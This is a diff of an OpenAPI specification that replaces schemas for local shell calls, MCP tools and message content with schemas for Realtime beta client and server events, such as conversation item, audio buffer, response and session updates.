+ description: "The ID of the preceding item after which the new item will be inserted. \nIf not set, the new item will be appended to the end of the conversation.\nIf set to `root`, the new item will be added to the beginning of the conversation.\nIf set to an existing ID, it allows an item to be inserted mid-conversation. If the\nID cannot be found, an error will be returned and the item will not be added.\n"
+ item:
+ $ref: '#/components/schemas/RealtimeConversationItem'
required:
- type
- - sdp
- additionalProperties: false
- LocalShellToolCall:
+ - item
+ x-oaiMeta:
+ name: conversation.item.create
+ group: realtime
+ example: |
+ {
+ "type": "conversation.item.create",
+ "item": {
+ "type": "message",
+ "role": "user",
+ "content": [
+ {
+ "type": "input_text",
+ "text": "hi"
+ }
+ ]
+ },
+ "event_id": "b904fba0-0ec4-40af-8bbb-f908a9b26793",
+ }
+ RealtimeBetaClientEventConversationItemDelete:
type: object
- title: Local shell call
- description: |
- A tool call to run a command on the local shell.
+ description: "Send this event when you want to remove any item from the conversation \nhistory. The server will respond with a `conversation.item.deleted` event, \nunless the item does not exist in the conversation history, in which case the \nserver will respond with an error.\n"
properties:
- type:
+ event_id:
type: string
- enum:
- - local_shell_call
- description: |
- The type of the local shell call. Always `local_shell_call`.
+ description: Optional client-generated ID used to identify this event.
+ type:
x-stainless-const: true
- id:
+ description: The event type, must be `conversation.item.delete`.
+ const: conversation.item.delete
+ item_id:
type: string
- description: |
- The unique ID of the local shell call.
- call_id:
+ description: The ID of the item to delete.
+ required:
+ - type
+ - item_id
+ x-oaiMeta:
+ name: conversation.item.delete
+ group: realtime
+ example: |
+ {
+ "event_id": "event_901",
+ "type": "conversation.item.delete",
+ "item_id": "msg_003"
+ }
+ RealtimeBetaClientEventConversationItemRetrieve:
+ type: object
+ description: "Send this event when you want to retrieve the server's representation of a specific item in the conversation history. This is useful, for example, to inspect user audio after noise cancellation and VAD.\nThe server will respond with a `conversation.item.retrieved` event, \nunless the item does not exist in the conversation history, in which case the \nserver will respond with an error.\n"
+ properties:
+ event_id:
type: string
- description: |
- The unique ID of the local shell tool call generated by the model.
- action:
- $ref: '#/components/schemas/LocalShellExecAction'
- status:
+ description: Optional client-generated ID used to identify this event.
+ type:
+ x-stainless-const: true
+ description: The event type, must be `conversation.item.retrieve`.
+ const: conversation.item.retrieve
+ item_id:
type: string
- enum:
- - in_progress
- - completed
- - incomplete
- description: |
- The status of the local shell call.
+ description: The ID of the item to retrieve.
required:
- type
- - id
- - call_id
- - action
- - status
- LocalShellToolCallOutput:
+ - item_id
+ x-oaiMeta:
+ name: conversation.item.retrieve
+ group: realtime
+ example: |
+ {
+ "event_id": "event_901",
+ "type": "conversation.item.retrieve",
+ "item_id": "msg_003"
+ }
+ RealtimeBetaClientEventConversationItemTruncate:
type: object
- title: Local shell call output
- description: |
- The output of a local shell tool call.
+ description: "Send this event to truncate a previous assistant message’s audio. The server \nwill produce audio faster than realtime, so this event is useful when the user \ninterrupts to truncate audio that has already been sent to the client but not \nyet played. This will synchronize the server's understanding of the audio with \nthe client's playback.\n\nTruncating audio will delete the server-side text transcript to ensure there \nis not text in the context that hasn't been heard by the user.\n\nIf successful, the server will respond with a `conversation.item.truncated` \nevent. \n"
properties:
+ event_id:
+ type: string
+ description: Optional client-generated ID used to identify this event.
type:
+ x-stainless-const: true
+ description: The event type, must be `conversation.item.truncate`.
+ const: conversation.item.truncate
+ item_id:
type: string
- enum:
- - local_shell_call_output
- description: |
- The type of the local shell tool call output. Always `local_shell_call_output`.
+ description: "The ID of the assistant message item to truncate. Only assistant message \nitems can be truncated.\n"
+ content_index:
+ type: integer
+ description: The index of the content part to truncate. Set this to 0.
+ audio_end_ms:
+ type: integer
+ description: "Inclusive duration up to which audio is truncated, in milliseconds. If \nthe audio_end_ms is greater than the actual audio duration, the server \nwill respond with an error.\n"
+ required:
+ - type
+ - item_id
+ - content_index
+ - audio_end_ms
+ x-oaiMeta:
+ name: conversation.item.truncate
+ group: realtime
+ example: |
+ {
+ "event_id": "event_678",
+ "type": "conversation.item.truncate",
+ "item_id": "msg_002",
+ "content_index": 0,
+ "audio_end_ms": 1500
+ }
+ RealtimeBetaClientEventInputAudioBufferAppend:
+ type: object
+ description: "Send this event to append audio bytes to the input audio buffer. The audio \nbuffer is temporary storage you can write to and later commit. In Server VAD \nmode, the audio buffer is used to detect speech and the server will decide \nwhen to commit. When Server VAD is disabled, you must commit the audio buffer\nmanually.\n\nThe client may choose how much audio to place in each event up to a maximum \nof 15 MiB, for example streaming smaller chunks from the client may allow the \nVAD to be more responsive. Unlike made other client events, the server will \nnot send a confirmation response to this event.\n"
+ properties:
+ event_id:
+ type: string
+ description: Optional client-generated ID used to identify this event.
+ type:
x-stainless-const: true
- id:
+ description: The event type, must be `input_audio_buffer.append`.
+ const: input_audio_buffer.append
+ audio:
type: string
- description: |
- The unique ID of the local shell tool call generated by the model.
- output:
+ description: "Base64-encoded audio bytes. This must be in the format specified by the \n`input_audio_format` field in the session configuration.\n"
+ required:
+ - type
+ - audio
+ x-oaiMeta:
+ name: input_audio_buffer.append
+ group: realtime
+ example: |
+ {
+ "event_id": "event_456",
+ "type": "input_audio_buffer.append",
+ "audio": "Base64EncodedAudioData"
+ }
+ RealtimeBetaClientEventInputAudioBufferClear:
+ type: object
+ description: "Send this event to clear the audio bytes in the buffer. The server will \nrespond with an `input_audio_buffer.cleared` event.\n"
+ properties:
+ event_id:
type: string
- description: |
- A JSON string of the output of the local shell tool call.
- status:
- anyOf:
- - type: string
- enum:
- - in_progress
- - completed
- - incomplete
- description: |
- The status of the item. One of `in_progress`, `completed`, or `incomplete`.
- - type: 'null'
+ description: Optional client-generated ID used to identify this event.
+ type:
+ x-stainless-const: true
+ description: The event type, must be `input_audio_buffer.clear`.
+ const: input_audio_buffer.clear
required:
- - id
- type
- - call_id
- - output
- LogProbProperties:
+ x-oaiMeta:
+ name: input_audio_buffer.clear
+ group: realtime
+ example: |
+ {
+ "event_id": "event_012",
+ "type": "input_audio_buffer.clear"
+ }
+ RealtimeBetaClientEventInputAudioBufferCommit:
type: object
- description: |
- A log probability object.
+ description: "Send this event to commit the user input audio buffer, which will create a \nnew user message item in the conversation. This event will produce an error \nif the input audio buffer is empty. When in Server VAD mode, the client does \nnot need to send this event, the server will commit the audio buffer \nautomatically.\n\nCommitting the input audio buffer will trigger input audio transcription \n(if enabled in session configuration), but it will not create a response \nfrom the model. The server will respond with an `input_audio_buffer.committed` \nevent.\n"
properties:
- token:
+ event_id:
type: string
- description: |
- The token that was used to generate the log probability.
- logprob:
- type: number
- description: |
- The log probability of the token.
- bytes:
- type: array
- items:
- type: integer
- description: |
- The bytes that were used to generate the log probability.
+ description: Optional client-generated ID used to identify this event.
+ type:
+ x-stainless-const: true
+ description: The event type, must be `input_audio_buffer.commit`.
+ const: input_audio_buffer.commit
required:
- - token
- - logprob
- - bytes
- MCPApprovalRequest:
+ - type
+ x-oaiMeta:
+ name: input_audio_buffer.commit
+ group: realtime
+ example: |
+ {
+ "event_id": "event_789",
+ "type": "input_audio_buffer.commit"
+ }
+ RealtimeBetaClientEventOutputAudioBufferClear:
type: object
- title: MCP approval request
description: |
- A request for human approval of a tool invocation.
+ **WebRTC/SIP Only:** Emit to cut off the current audio response. This will trigger the server to
+ stop generating audio and emit a `output_audio_buffer.cleared` event. This
+ event should be preceded by a `response.cancel` client event to stop the
+ generation of the current response.
+ [Learn more](https://developers.openai.com/api/docs/guides/realtime-conversations#client-and-server-events-for-audio-in-webrtc).
properties:
- type:
+ event_id:
type: string
- enum:
- - mcp_approval_request
- description: |
- The type of the item. Always `mcp_approval_request`.
+ description: The unique ID of the client event used for error handling.
+ type:
x-stainless-const: true
- id:
- type: string
- description: |
- The unique ID of the approval request.
- server_label:
+ description: The event type, must be `output_audio_buffer.clear`.
+ const: output_audio_buffer.clear
+ required:
+ - type
+ x-oaiMeta:
+ name: output_audio_buffer.clear
+ group: realtime
+ example: |
+ {
+ "event_id": "optional_client_event_id",
+ "type": "output_audio_buffer.clear"
+ }
+ RealtimeBetaClientEventResponseCancel:
+ type: object
+ description: "Send this event to cancel an in-progress response. The server will respond \nwith a `response.done` event with a status of `response.status=cancelled`. If \nthere is no response to cancel, the server will respond with an error.\n"
+ properties:
+ event_id:
type: string
- description: |
- The label of the MCP server making the request.
- name:
+ description: Optional client-generated ID used to identify this event.
+ type:
+ x-stainless-const: true
+ description: The event type, must be `response.cancel`.
+ const: response.cancel
+ response_id:
type: string
- description: |
- The name of the tool to run.
- arguments:
+ description: "A specific response ID to cancel - if not provided, will cancel an \nin-progress response in the default conversation.\n"
+ required:
+ - type
+ x-oaiMeta:
+ name: response.cancel
+ group: realtime
+ example: |
+ {
+ "event_id": "event_567",
+ "type": "response.cancel"
+ }
+ RealtimeBetaClientEventResponseCreate:
+ type: object
+ description: "This event instructs the server to create a Response, which means triggering \nmodel inference. When in Server VAD mode, the server will create Responses \nautomatically.\n\nA Response will include at least one Item, and may have two, in which case \nthe second will be a function call. These Items will be appended to the \nconversation history.\n\nThe server will respond with a `response.created` event, events for Items \nand content created, and finally a `response.done` event to indicate the \nResponse is complete.\n\nThe `response.create` event can optionally include inference configuration like \n`instructions`, and `temperature`. These fields will override the Session's \nconfiguration for this Response only.\n\nResponses can be created out-of-band of the default Conversation, meaning that they can\nhave arbitrary input, and it's possible to disable writing the output to the Conversation.\nOnly one Response can write to the default Conversation at a time, but otherwise multiple\nResponses can be created in parallel.\n\nClients can set `conversation` to `none` to create a Response that does not write to the default\nConversation. Arbitrary input can be provided with the `input` field, which is an array accepting\nraw Items and references to existing Items.\n"
+ properties:
+ event_id:
type: string
- description: |
- A JSON string of arguments for the tool.
+ description: Optional client-generated ID used to identify this event.
+ type:
+ x-stainless-const: true
+ description: The event type, must be `response.create`.
+ const: response.create
+ response:
+ $ref: '#/components/schemas/RealtimeBetaResponseCreateParams'
required:
- type
- - id
- - server_label
- - name
- - arguments
- MCPApprovalResponse:
+ x-oaiMeta:
+ name: response.create
+ group: realtime
+ example: |
+ // Trigger a response with the default Conversation and no special parameters
+ {
+ "type": "response.create",
+ }
+
+ // Trigger an out-of-band response that does not write to the default Conversation
+ {
+ "type": "response.create",
+ "response": {
+ "instructions": "Provide a concise answer.",
+ "tools": [], // clear any session tools
+ "conversation": "none",
+ "output_modalities": ["text"],
+ "input": [
+ {
+ "type": "item_reference",
+ "id": "item_12345",
+ },
+ {
+ "type": "message",
+ "role": "user",
+ "content": [
+ {
+ "type": "input_text",
+ "text": "Summarize the above message in one sentence."
+ }
+ ]
+ }
+ ],
+ }
+ }
+ RealtimeBetaClientEventSessionUpdate:
type: object
- title: MCP approval response
description: |
- A response to an MCP approval request.
+ Send this event to update the session’s default configuration.
+ The client may send this event at any time to update any field,
+ except for `voice`. However, note that once a session has been
+ initialized with a particular `model`, it can’t be changed to
+ another model using `session.update`.
+
+ When the server receives a `session.update`, it will respond
+ with a `session.updated` event showing the full, effective configuration.
+ Only the fields that are present are updated. To clear a field like
+ `instructions`, pass an empty string.
properties:
- type:
+ event_id:
type: string
- enum:
- - mcp_approval_response
- description: |
- The type of the item. Always `mcp_approval_response`.
+ description: Optional client-generated ID used to identify this event.
+ type:
x-stainless-const: true
- id:
- anyOf:
- - type: string
- description: |
- The unique ID of the approval response
- - type: 'null'
- approval_request_id:
- type: string
- description: |
- The ID of the approval request being answered.
- approve:
- type: boolean
- description: |
- Whether the request was approved.
- reason:
- anyOf:
- - type: string
- description: |
- Optional reason for the decision.
- - type: 'null'
+ description: The event type, must be `session.update`.
+ const: session.update
+ session:
+ $ref: '#/components/schemas/RealtimeSessionCreateRequest'
required:
- type
- - request_id
- - approve
- - approval_request_id
- MCPApprovalResponseResource:
+ - session
+ x-oaiMeta:
+ name: session.update
+ group: realtime
+ example: |
+ {
+ "type": "session.update",
+ "session": {
+ "tools": [
+ {
+ "type": "function",
+ "name": "display_color_palette",
+ "description": "Call this function when a user asks for a color palette.",
+ "parameters": {
+ "type": "object",
+ "properties": {
+ "theme": {
+ "type": "string",
+ "description": "Description of the theme for the color scheme."
+ },
+ "colors": {
+ "type": "array",
+ "description": "Array of five hex color codes based on the theme.",
+ "items": {
+ "type": "string",
+ "description": "Hex color code"
+ }
+ }
+ },
+ "required": [
+ "theme",
+ "colors"
+ ]
+ }
+ }
+ ],
+ "tool_choice": "auto"
+ }
+ }
+ RealtimeBetaClientEventTranscriptionSessionUpdate:
type: object
- title: MCP approval response
description: |
- A response to an MCP approval request.
+ Send this event to update a transcription session.
properties:
- type:
+ event_id:
type: string
- enum:
- - mcp_approval_response
- description: |
- The type of the item. Always `mcp_approval_response`.
+ description: Optional client-generated ID used to identify this event.
+ type:
x-stainless-const: true
- id:
- type: string
- description: |
- The unique ID of the approval response
- approval_request_id:
- type: string
- description: |
- The ID of the approval request being answered.
- approve:
- type: boolean
- description: |
- Whether the request was approved.
- reason:
- anyOf:
- - type: string
- description: |
- Optional reason for the decision.
- - type: 'null'
+ description: The event type, must be `transcription_session.update`.
+ const: transcription_session.update
+ session:
+ $ref: '#/components/schemas/RealtimeTranscriptionSessionCreateRequest'
required:
- type
- - id
- - request_id
- - approve
- - approval_request_id
- MCPListTools:
+ - session
+ x-oaiMeta:
+ name: transcription_session.update
+ group: realtime
+ example: |
+ {
+ "type": "transcription_session.update",
+ "session": {
+ "input_audio_format": "pcm16",
+ "input_audio_transcription": {
+ "model": "gpt-4o-transcribe",
+ "prompt": "",
+ "language": ""
+ },
+ "turn_detection": {
+ "type": "server_vad",
+ "threshold": 0.5,
+ "prefix_padding_ms": 300,
+ "silence_duration_ms": 500,
+ "create_response": true,
+ },
+ "input_audio_noise_reduction": {
+ "type": "near_field"
+ },
+ "include": [
+ "item.input_audio_transcription.logprobs",
+ ]
+ }
+ }
+ RealtimeBetaResponse:
type: object
- title: MCP list tools
- description: |
- A list of tools available on an MCP server.
+ description: The response resource.
properties:
- type:
- type: string
- enum:
- - mcp_list_tools
- description: |
- The type of the item. Always `mcp_list_tools`.
- x-stainless-const: true
id:
type: string
- description: |
- The unique ID of the list.
- server_label:
+ description: The unique ID of the response.
+ object:
+ x-stainless-const: true
+ description: The object type, must be `realtime.response`.
+ const: realtime.response
+ status:
type: string
- description: |
- The label of the MCP server.
- tools:
+ enum:
+ - completed
+ - cancelled
+ - failed
+ - incomplete
+ - in_progress
+ description: "The final status of the response (`completed`, `cancelled`, `failed`, or \n`incomplete`, `in_progress`).\n"
+ status_details:
+ type: object
+ description: Additional details about the status.
+ properties:
+ type:
+ type: string
+ enum:
+ - completed
+ - cancelled
+ - incomplete
+ - failed
+ description: "The type of error that caused the response to fail, corresponding \nwith the `status` field (`completed`, `cancelled`, `incomplete`, \n`failed`).\n"
+ reason:
+ type: string
+ enum:
+ - turn_detected
+ - client_cancelled
+ - max_output_tokens
+ - content_filter
+ description: "The reason the Response did not complete. For a `cancelled` Response, \none of `turn_detected` (the server VAD detected a new start of speech) \nor `client_cancelled` (the client sent a cancel event). For an \n`incomplete` Response, one of `max_output_tokens` or `content_filter` \n(the server-side safety filter activated and cut off the response).\n"
+ error:
+ type: object
+ description: "A description of the error that caused the response to fail, \npopulated when the `status` is `failed`.\n"
+ properties:
+ type:
+ type: string
+ description: The type of error.
+ code:
+ type: string
+ description: Error code, if any.
+ output:
type: array
+ description: The list of output items generated by the response.
items:
- $ref: '#/components/schemas/MCPListToolsTool'
- description: |
- The tools available on the server.
- error:
- anyOf:
- - type: string
- description: |
- Error message if the server could not list tools.
- - type: 'null'
- required:
- - type
- - id
- - server_label
- - tools
- MCPListToolsTool:
- type: object
- title: MCP list tools tool
- description: |
- A tool available on an MCP server.
- properties:
- name:
- type: string
- description: |
- The name of the tool.
- description:
- anyOf:
- - type: string
- description: |
- The description of the tool.
- - type: 'null'
- input_schema:
+ $ref: '#/components/schemas/RealtimeConversationItem'
+ metadata:
+ $ref: '#/components/schemas/Metadata'
+ usage:
type: object
+ description: "Usage statistics for the Response, this will correspond to billing. A \nRealtime API session will maintain a conversation context and append new \nItems to the Conversation, thus output from previous turns (text and \naudio tokens) will become the input for later turns.\n"
+ properties:
+ total_tokens:
+ type: integer
+ description: "The total number of tokens in the Response including input and output \ntext and audio tokens.\n"
+ input_tokens:
+ type: integer
+ description: "The number of input tokens used in the Response, including text and \naudio tokens.\n"
+ output_tokens:
+ type: integer
+ description: "The number of output tokens sent in the Response, including text and \naudio tokens.\n"
+ input_token_details:
+ type: object
+ description: Details about the input tokens used in the Response.
+ properties:
+ cached_tokens:
+ type: integer
+ description: The number of cached tokens used as input for the Response.
+ text_tokens:
+ type: integer
+ description: The number of text tokens used as input for the Response.
+ image_tokens:
+ type: integer
+ description: The number of image tokens used as input for the Response.
+ audio_tokens:
+ type: integer
+ description: The number of audio tokens used as input for the Response.
+ cached_tokens_details:
+ type: object
+ description: Details about the cached tokens used as input for the Response.
+ properties:
+ text_tokens:
+ type: integer
+ description: The number of cached text tokens used as input for the Response.
+ image_tokens:
+ type: integer
+ description: The number of cached image tokens used as input for the Response.
+ audio_tokens:
+ type: integer
+ description: The number of cached audio tokens used as input for the Response.
+ output_token_details:
+ type: object
+ description: Details about the output tokens used in the Response.
+ properties:
+ text_tokens:
+ type: integer
+ description: The number of text tokens used in the Response.
+ audio_tokens:
+ type: integer
+ description: The number of audio tokens used in the Response.
+ conversation_id:
description: |
- The JSON schema describing the tool's input.
- annotations:
- anyOf:
- - type: object
- description: |
- Additional annotations about the tool.
- - type: 'null'
- required:
- - name
- - input_schema
- MCPTool:
- type: object
- title: MCP tool
- description: |
- Give the model access to additional tools via remote Model Context Protocol
- (MCP) servers. [Learn more about MCP](https://developers.openai.com/api/docs/guides/tools-connectors-mcp).
- properties:
- type:
- type: string
- enum:
- - mcp
- description: The type of the MCP tool. Always `mcp`.
- x-stainless-const: true
- server_label:
+ Which conversation the response is added to, determined by the `conversation`
+ field in the `response.create` event. If `auto`, the response will be added to
+ the default conversation and the value of `conversation_id` will be an id like
+ `conv_1234`. If `none`, the response will not be added to any conversation and
+ the value of `conversation_id` will be `null`. If responses are being triggered
+ by server VAD, the response will be added to the default conversation, thus
+ the `conversation_id` will be an id like `conv_1234`.
type: string
+ voice:
+ $ref: '#/components/schemas/VoiceIdsShared'
description: |
- A label for this MCP server, used to identify it in tool calls.
- server_url:
- type: string
- format: uri
+ The voice the model used to respond.
+ Current voice options are `alloy`, `ash`, `ballad`, `coral`, `echo`, `sage`,
+ `shimmer`, and `verse`.
+ modalities:
+ type: array
description: |
- The URL for the MCP server. One of `server_url`, `connector_id`, or
- `tunnel_id` must be provided.
- connector_id:
+ The set of modalities the model used to respond. If there are multiple modalities,
+ the model will pick one, for example if `modalities` is `["text", "audio"]`, the model
+ could be responding in either text or audio.
+ items:
+ type: string
+ enum:
+ - text
+ - audio
+ output_audio_format:
type: string
enum:
- - connector_dropbox
- - connector_gmail
- - connector_googlecalendar
- - connector_googledrive
- - connector_microsoftteams
- - connector_outlookcalendar
- - connector_outlookemail
- - connector_sharepoint
- description: |
- Identifier for service connectors, like those available in ChatGPT. One of
- `server_url`, `connector_id`, or `tunnel_id` must be provided. Learn more
- about service connectors [here](https://developers.openai.com/api/docs/guides/tools-connectors-mcp#connectors).
-
- Currently supported `connector_id` values are:
-
- - Dropbox: `connector_dropbox`
- - Gmail: `connector_gmail`
- - Google Calendar: `connector_googlecalendar`
- - Google Drive: `connector_googledrive`
- - Microsoft Teams: `connector_microsoftteams`
- - Outlook Calendar: `connector_outlookcalendar`
- - Outlook Email: `connector_outlookemail`
- - SharePoint: `connector_sharepoint`
- tunnel_id:
- type: string
- pattern: ^tunnel_[a-z0-9]{32}$
+ - pcm16
+ - g711_ulaw
+ - g711_alaw
description: |
- The Secure MCP Tunnel ID to use instead of a direct server URL. One of
- `server_url`, `connector_id`, or `tunnel_id` must be provided.
- authorization:
- type: string
+ The format of output audio. Options are `pcm16`, `g711_ulaw`, or `g711_alaw`.
+ temperature:
+ type: number
description: |
- An OAuth access token that can be used with a remote MCP server, either
- with a custom MCP server URL or a service connector. Your application
- must handle the OAuth authorization flow and provide the token here.
- server_description:
- type: string
+ Sampling temperature for the model, limited to [0.6, 1.2]. Defaults to 0.8.
+ max_output_tokens:
description: |
- Optional description of the MCP server, used to provide more context.
- headers:
- anyOf:
- - type: object
- additionalProperties:
- type: string
- description: |
- Optional HTTP headers to send to the MCP server. Use for authentication
- or other purposes.
- - type: 'null'
- allowed_tools:
- anyOf:
- - description: |
- List of allowed tool names or a filter object.
- anyOf:
- - type: array
- title: MCP allowed tools
- description: A string array of allowed tool names
- items:
- type: string
- - $ref: '#/components/schemas/MCPToolFilter'
- - type: 'null'
- allowed_callers:
- anyOf:
- - type: array
- minItems: 1
- items:
- $ref: '#/components/schemas/CallableToolAllowedCaller'
- description: The tool invocation context(s).
- - type: 'null'
- require_approval:
+ Maximum number of output tokens for a single assistant response,
+ inclusive of tool calls, that was used in this response.
anyOf:
- - description: Specify which of the MCP server's tools require approval.
- default: always
- anyOf:
- - type: object
- title: MCP tool approval filter
- description: |
- Specify which of the MCP server's tools require approval. Can be
- `always`, `never`, or a filter object associated with tools
- that require approval.
- properties:
- always:
- $ref: '#/components/schemas/MCPToolFilter'
- never:
- $ref: '#/components/schemas/MCPToolFilter'
- additionalProperties: false
- - type: string
- title: MCP tool approval setting
- description: |
- Specify a single approval policy for all tools. One of `always` or
- `never`. When set to `always`, all tools will require approval. When
- set to `never`, all tools will not require approval.
- enum:
- - always
- - never
- - type: 'null'
- defer_loading:
- type: boolean
- description: |
- Whether this MCP tool is deferred and discovered via tool search.
- required:
- - type
- - server_label
- MCPToolCall:
+ - type: integer
+ - type: string
+ enum:
+ - inf
+ x-stainless-const: true
+ RealtimeBetaResponseCreateParams:
type: object
- title: MCP tool call
- description: |
- An invocation of a tool on an MCP server.
+ description: Create a new Realtime response with these parameters
properties:
- type:
- type: string
- enum:
- - mcp_call
+ modalities:
+ type: array
description: |
- The type of the item. Always `mcp_call`.
- x-stainless-const: true
- id:
+ The set of modalities the model can respond with. To disable audio,
+ set this to ["text"].
+ items:
+ type: string
+ enum:
+ - text
+ - audio
+ instructions:
type: string
+ description: "The default system instructions (i.e. system message) prepended to model \ncalls. This field allows the client to guide the model on desired \nresponses. The model can be instructed on response content and format, \n(e.g. \"be extremely succinct\", \"act friendly\", \"here are examples of good \nresponses\") and on audio behavior (e.g. \"talk quickly\", \"inject emotion \ninto your voice\", \"laugh frequently\"). The instructions are not guaranteed \nto be followed by the model, but they provide guidance to the model on the \ndesired behavior.\n\nNote that the server sets default instructions which will be used if this \nfield is not set and are visible in the `session.created` event at the \nstart of the session.\n"
+ voice:
+ $ref: '#/components/schemas/VoiceIdsOrCustomVoice'
description: |
- The unique ID of the tool call.
- server_label:
+ The voice the model uses to respond. Supported built-in voices are
+ `alloy`, `ash`, `ballad`, `coral`, `echo`, `sage`, `shimmer`, `verse`,
+ `marin`, and `cedar`. You may also provide a custom voice object with an
+ `id`, for example `{ "id": "voice_1234" }`. Voice cannot be changed during
+ the session once the model has responded with audio at least once.
+ output_audio_format:
type: string
+ enum:
+ - pcm16
+ - g711_ulaw
+ - g711_alaw
description: |
- The label of the MCP server running the tool.
- name:
- type: string
+ The format of output audio. Options are `pcm16`, `g711_ulaw`, or `g711_alaw`.
+ tools:
+ type: array
+ description: Tools (functions) available to the model.
+ items:
+ type: object
+ properties:
+ type:
+ type: string
+ enum:
+ - function
+ description: The type of the tool, i.e. `function`.
+ x-stainless-const: true
+ name:
+ type: string
+ description: The name of the function.
+ description:
+ type: string
+ description: "The description of the function, including guidance on when and how \nto call it, and guidance about what to tell the user when calling \n(if anything).\n"
+ parameters:
+ type: object
+ description: Parameters of the function in JSON Schema.
+ tool_choice:
description: |
- The name of the tool that was run.
- arguments:
- type: string
+ How the model chooses tools. Provide one of the string modes or force a specific
+ function/MCP tool.
+ default: auto
+ anyOf:
+ - $ref: '#/components/schemas/ToolChoiceOptions'
+ - $ref: '#/components/schemas/ToolChoiceFunction'
+ - $ref: '#/components/schemas/ToolChoiceMCP'
+ temperature:
+ type: number
description: |
- A JSON string of the arguments passed to the tool.
- output:
+ Sampling temperature for the model, limited to [0.6, 1.2]. Defaults to 0.8.
+ max_output_tokens:
+ description: |
+ Maximum number of output tokens for a single assistant response,
+ inclusive of tool calls. Provide an integer between 1 and 4096 to
+ limit output tokens, or `inf` for the maximum available tokens for a
+ given model. Defaults to `inf`.
anyOf:
+ - type: integer
- type: string
- description: |
- The output from the tool call.
- - type: 'null'
- error:
- description: The error from the tool call, if any.
- anyOf:
- - $ref: '#/components/schemas/MCPToolCallError'
- - type: 'null'
- status:
- $ref: '#/components/schemas/MCPToolCallStatus'
- description: |
- The status of the tool call. One of `in_progress`, `completed`, `incomplete`, `calling`, or `failed`.
- approval_request_id:
+ enum:
+ - inf
+ x-stainless-const: true
+ conversation:
+ description: "Controls which conversation the response is added to. Currently supports\n`auto` and `none`, with `auto` as the default value. The `auto` value\nmeans that the contents of the response will be added to the default\nconversation. Set this to `none` to create an out-of-band response which \nwill not add items to default conversation.\n"
anyOf:
- type: string
- description: |
- Unique identifier for the MCP tool call approval request.
- Include this value in a subsequent `mcp_approval_response` input to approve or reject the corresponding tool call.
- - type: 'null'
- required:
- - type
- - id
- - server_label
- - name
- - arguments
- MCPToolCallError:
- discriminator:
- propertyName: type
- anyOf:
- - $ref: '#/components/schemas/MCPProtocolError'
- - $ref: '#/components/schemas/MCPToolExecutionError'
- - $ref: '#/components/schemas/HTTPError'
- MCPToolFilter:
- type: object
- title: MCP tool filter
- description: |
- A filter object to specify which tools are allowed.
- properties:
- tool_names:
+ - type: string
+ default: auto
+ enum:
+ - auto
+ - none
+ metadata:
+ $ref: '#/components/schemas/Metadata'
+ prompt:
+ $ref: '#/components/schemas/Prompt'
+ input:
type: array
- title: MCP allowed tools
- items:
- type: string
- description: List of allowed tool names.
- read_only:
- type: boolean
description: |
- Indicates whether or not a tool modifies data or is read-only. If an
- MCP server is [annotated with `readOnlyHint`](https://modelcontextprotocol.io/specification/2025-06-18/schema#toolannotations-readonlyhint),
- it will match this filter.
- required: []
- additionalProperties: false
- MessageContentImageFileObject:
- title: Image file
+ Input items to include in the prompt for the model. Using this field
+ creates a new context for this Response instead of using the default
+ conversation. An empty array `[]` will clear the context for this Response.
+ Note that this can include references to items from the default conversation.
+ items:
+ $ref: '#/components/schemas/RealtimeConversationItem'
+ RealtimeBetaServerEventConversationItemCreated:
type: object
- description: References an image [File](https://developers.openai.com/api/reference/resources/files) in the content of a message.
+ description: |
+ Returned when a conversation item is created. There are several scenarios that produce this event:
+ - The server is generating a Response, which if successful will produce
+ either one or two Items, which will be of type `message`
+ (role `assistant`) or type `function_call`.
+ - The input audio buffer has been committed, either by the client or the
+ server (in `server_vad` mode). The server will take the content of the
+ input audio buffer and add it to a new user message Item.
+ - The client has sent a `conversation.item.create` event to add a new Item
+ to the Conversation.
properties:
- type:
- description: Always `image_file`.
+ event_id:
type: string
- enum:
- - image_file
- x-stainless-const: true
- image_file:
- type: object
- properties:
- file_id:
- description: The [File](https://developers.openai.com/api/reference/resources/files) ID of the image in the message content. Set `purpose="vision"` when uploading the File if you need to later display the file content.
- type: string
- detail:
- type: string
- description: Specifies the detail level of the image if specified by the user. `low` uses fewer tokens, you can opt in to high resolution using `high`.
- enum:
- - auto
- - low
- - high
- default: auto
- required:
- - file_id
- required:
- - type
- - image_file
- MessageContentImageUrlObject:
- title: Image URL
- type: object
- description: References an image URL in the content of a message.
- properties:
+ description: The unique ID of the server event.
type:
- type: string
- enum:
- - image_url
- description: The type of the content part.
x-stainless-const: true
- image_url:
- type: object
- properties:
- url:
- type: string
- description: 'The external URL of the image, must be a supported image types: jpeg, jpg, png, gif, webp.'
- format: uri
- detail:
- type: string
- description: Specifies the detail level of the image. `low` uses fewer tokens, you can opt in to high resolution using `high`. Default value is `auto`
- enum:
- - auto
- - low
- - high
- default: auto
- required:
- - url
+ description: The event type, must be `conversation.item.created`.
+ const: conversation.item.created
+ previous_item_id:
+ anyOf:
+ - type: string
+ description: |
+ The ID of the preceding item in the Conversation context, allows the
+ client to understand the order of the conversation. Can be `null` if the
+ item has no predecessor.
+ - type: 'null'
+ item:
+ $ref: '#/components/schemas/RealtimeConversationItem'
required:
+ - event_id
- type
- - image_url
- MessageContentRefusalObject:
- title: Refusal
+ - item
+ x-oaiMeta:
+ name: conversation.item.created
+ group: realtime
+ example: |
+ {
+ "event_id": "event_1920",
+ "type": "conversation.item.created",
+ "previous_item_id": "msg_002",
+ "item": {
+ "id": "msg_003",
+ "object": "realtime.item",
+ "type": "message",
+ "status": "completed",
+ "role": "user",
+ "content": []
+ }
+ }
+ RealtimeBetaServerEventConversationItemDeleted:
type: object
- description: The refusal content generated by the assistant.
+ description: "Returned when an item in the conversation is deleted by the client with a \n`conversation.item.delete` event. This event is used to synchronize the \nserver's understanding of the conversation history with the client's view.\n"
properties:
- type:
- description: Always `refusal`.
- type: string
- enum:
- - refusal
- x-stainless-const: true
- refusal:
+ event_id:
type: string
- required:
- - type
- - refusal
- MessageContentTextAnnotationsFileCitationObject:
- title: File citation
- type: object
- description: A citation within the message that points to a specific quote from a specific File associated with the assistant or the message. Generated when the assistant uses the "file_search" tool to search files.
- properties:
+ description: The unique ID of the server event.
type:
- description: Always `file_citation`.
- type: string
- enum:
- - file_citation
x-stainless-const: true
- text:
- description: The text in the message content that needs to be replaced.
+ description: The event type, must be `conversation.item.deleted`.
+ const: conversation.item.deleted
+ item_id:
type: string
- file_citation:
- type: object
- properties:
- file_id:
- description: The ID of the specific File the citation is from.
- type: string
- required:
- - file_id
- start_index:
- type: integer
- minimum: 0
- end_index:
- type: integer
- minimum: 0
+ description: The ID of the item that was deleted.
required:
+ - event_id
- type
- - text
- - file_citation
- - start_index
- - end_index
